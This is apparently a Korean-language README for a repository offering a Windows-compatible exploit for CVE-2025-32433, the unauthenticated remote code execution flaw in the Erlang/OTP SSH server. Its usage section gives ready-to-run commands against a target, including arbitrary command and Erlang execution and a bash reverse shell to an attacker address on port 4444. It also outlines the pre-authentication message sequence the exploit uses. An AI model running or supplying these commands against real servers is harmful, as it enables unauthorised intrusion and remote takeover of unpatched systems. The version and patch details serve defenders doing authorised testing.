CVE-2025-32433 Exploit (Windows 호환)

Erlang/OTP SSH 인증되지 않은 원격 코드 실행

설명

이 저장소는 Erlang/OTP SSH 서버의 심각한 인증되지 않은 원격 코드 실행 취약점인 CVE-2025-32433에 대한 익스플로잇을 포함합니다.

주요 기능:

✅ 인증 전 RCE 익스플로잇
✅ Windows GBK 인코딩 호환성 수정
✅ Erlang/OTP 버전 ≤ 27.3.2, ≤ 26.2.5.10, ≤ 25.3.2.19에서 작동

취약점 상세 정보

CVE ID: CVE-2025-32433
심각도: 치명적
영향: 인증되지 않은 원격 코드 실행

이 취약점은 공격자가 특수하게 조작된 SSH 프로토콜 메시지를 전송하여 인증 없이 Erlang/OTP SSH 서버에서 임의의 시스템 명령을 실행할 수 있도록 합니다.

영향받는 버전

OTP ≤ 27.3.2
OTP ≤ 26.2.5.10
OTP ≤ 25.3.2.19
OTP ≥ 17.0 and older (likely)

사용법

# Basic command execution
python exploit.py -t <target-ip> -p 2222 -c "whoami"

# Execute system command
python exploit.py -t 192.168.1.100 -p 2222 -c "touch /tmp/pwned"

# Raw Erlang code execution
python exploit.py -t 192.168.1.100 -p 2222 -e 'os:cmd("id").'

# Reverse shell
python exploit.py -t 192.168.1.100 -p 2222 -c "bash -i >& /dev/tcp/YOUR_IP/4444 0>&1"

인수

-t, --target    Target IP address (default: 127.0.0.1)
-p, --port      Target port (default: 2222)
-c, --command   System command to execute
-e, --erlang    Raw Erlang code to execute

Windows 인코딩 수정

이 버전은 원래 익스플로잇에 존재하는 인코딩 문제를 수정합니다.

문제: 원래 익스플로잇은 유니코드 체크마크 문자(✓, U+2713)를 사용하여 Windows에서 GBK 인코딩 오류를 발생시킵니다:

'gbk' codec can't encode character '✓' in position 1: illegal multibyte sequence

해결책: 교차 플랫폼 호환성을 위해 유니코드 문자를 표준 ASCII + 문자로 대체했습니다.

기술적 세부 사항

익스플로잇은 다음과 같이 작동합니다:

SSH 연결 및 배너 교환 설정
SSH_MSG_KEXINIT 패킷 전송
SSH_MSG_CHANNEL_OPEN으로 SSH 채널 열기
인증 전에 악성 exec 명령어가 포함된 SSH_MSG_CHANNEL_REQUEST 전송
os:cmd()를 통해 임의의 Erlang 코드 실행

참고 자료

패치된 버전

- OTP 27.3.3
- OTP 26.2.5.11
- OTP 25.3.2.20

면책 조항

이 익스플로잇은 교육 및 승인된 보안 테스트 목적으로만 제공됩니다. 컴퓨터 시스템에 대한 무단 접근은 불법입니다. 책임감 있게 사용하고 명시적 허가를 받은 시스템에서만 테스트하십시오.

라이선스

MIT 라이선스

저자

chuzouX가 Windows 호환성을 위해 수정함

CVE-2025-32433-Exploit-edited

인기